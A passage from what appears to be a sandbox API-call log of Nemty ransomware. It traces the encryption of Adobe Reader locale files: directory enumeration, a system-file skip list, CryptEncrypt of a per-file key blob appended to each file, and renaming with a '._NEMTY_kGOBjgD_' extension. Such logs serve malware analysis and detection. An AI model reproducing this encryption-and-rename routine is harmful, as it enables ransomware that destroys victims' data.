dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0181.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.PTB", lpUsedDefaultChar=0x0) returned 18 [0181.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0181.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.PTB", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.PTB", lpUsedDefaultChar=0x0) returned 18 [0181.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.494] Sleep (dwMilliseconds=0x5) [0181.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd4e2d0, dwHighDateTime=0x1d561e8)) [0181.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd4e2d0, dwHighDateTime=0x1d561e8)) [0181.504] GetLastError () returned 0x0 [0181.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.504] GetLastError () returned 0x0 [0181.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0181.504] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.504] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.504] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.504] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Ie2qTMdsxYH/a2khcb2zJNGFlubn8gH64tw3NmQqodGgdun2OW8/fGBQzAOhwHus\r\nzSfOw65Qyo2cegRAX5/4I1tq7dVaxPAi4BqVF9OMVirRNPcGiRTJTAYyW26avlb9\r\nEMxKkKMkCgf7TTZNj+8eL6FyC6qiQxtyunwkyGWd28qBc1qj2Trlq/qAuI36euAh\r\n2Xu7LiKqa7VYWlBuI4hpnMhm6WZHazMtVXaJdjPkMqCJm1ecdOo9CW8G+/Qwa2/H\r\n9pKmqHvW0kYgQT7WtBWIm78e0Ic2/pvP2Rwl8fIpnJB6GS/GCAd6XTBRg6N9vERk\r\nncU5ZIYVrmngxBa0bz96pw==\r\n", pcchString=0x653e5dc) returned 1 [0181.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0181.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\makeaccessible.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\makeaccessible.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.505] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=78336) returned 1 [0181.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13200) returned 0x6352c48 [0181.505] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.505] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13200, lpOverlapped=0x0) returned 1 [0181.512] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.512] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13200, lpOverlapped=0x0) returned 1 [0181.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.512] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=78336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13200 [0181.512] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.513] CloseHandle (hObject=0x2e8) returned 1 [0181.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0181.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0181.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0181.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0181.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0181.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0181.513] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\makeaccessible.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\makeaccessible.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\makeaccessible.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\makeaccessible.ptb._nemty_kgobjgd_")) returned 1 [0181.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0181.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.514] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.PTB", cAlternateFileName="MULTIM~1.PTB")) returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2=".") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="..") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="...") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="windows") returned -1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="rsa") returned -1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="NTDETECT.COM") returned -1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="ntldr") returned -1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="MSDOS.SYS") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="IO.SYS") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="boot.ini") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="boot.ini") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="ntuser.dat") returned -1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="desktop.ini") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="CONFIG.SYS") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="RECYCLER") returned -1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="bootmgr") returned 1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="programdata") returned -1 [0181.514] lstrcmpiW (lpString1="Multimedia.PTB", lpString2="appdata") returned 1 [0181.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0181.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.PTB", lpUsedDefaultChar=0x0) returned 14 [0181.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0181.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.PTB", lpUsedDefaultChar=0x0) returned 14 [0181.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0181.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.PTB", lpUsedDefaultChar=0x0) returned 14 [0181.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0181.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.PTB", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.PTB", lpUsedDefaultChar=0x0) returned 14 [0181.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.515] Sleep (dwMilliseconds=0x5) [0181.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd74430, dwHighDateTime=0x1d561e8)) [0181.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd74430, dwHighDateTime=0x1d561e8)) [0181.520] GetLastError () returned 0x0 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.520] GetLastError () returned 0x0 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.520] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.520] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.520] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.520] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="qgyRosGToHfsxaToPTDM9zfL9hngTe3v0j3xLVXawFrj3tm5r+hvclEoGEqgx62N\r\nn8cImvZaL2Q7l2OFzRusxxh1zDlNRBuWptoIQXl4YUoDS30Uak9DQJl0auq2Q7z9\r\nRY5wiBM/el/gl3V2mIo0T1ikHLT59oKjty11syt4nXKXpBgDK4AUQ66JMOL6jFiA\r\nQ3MbjiRb23ZPSu0kVHjNMLpVdab8dcyAG2GKFVPjtq9U4V06/NMqFKG2SZ6B7HEn\r\n4hmgIDONxkZDO2vVKXlckQryO7rOCgqYXds80iRAtDMLVIvuRmHjqrbW5TPuL1Uw\r\nPa6uilatnHsOSoPk/OYEiw==\r\n", pcchString=0x653e5dc) returned 1 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Multimedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\multimedia.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.521] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=81408) returned 1 [0181.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13e00) returned 0x6352c48 [0181.521] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.521] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13e00, lpOverlapped=0x0) returned 1 [0181.527] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.528] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13e00, lpOverlapped=0x0) returned 1 [0181.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.528] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=81408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13e00 [0181.528] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.528] CloseHandle (hObject=0x2e8) returned 1 [0181.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.528] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Multimedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\multimedia.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Multimedia.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\multimedia.ptb._nemty_kgobjgd_")) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.529] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.PTB", cAlternateFileName="")) returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2=".") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="..") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="...") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="windows") returned -1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="rsa") returned -1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="NTDETECT.COM") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="ntldr") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="MSDOS.SYS") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="IO.SYS") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="boot.ini") returned 1 [0181.529] lstrcmpiW (lpString1="pddom.PTB", lpString2="boot.ini") returned 1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="ntuser.dat") returned 1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="desktop.ini") returned 1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="CONFIG.SYS") returned 1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="RECYCLER") returned -1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="bootmgr") returned 1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="programdata") returned -1 [0181.530] lstrcmpiW (lpString1="pddom.PTB", lpString2="appdata") returned 1 [0181.530] RtlAllocateHeap 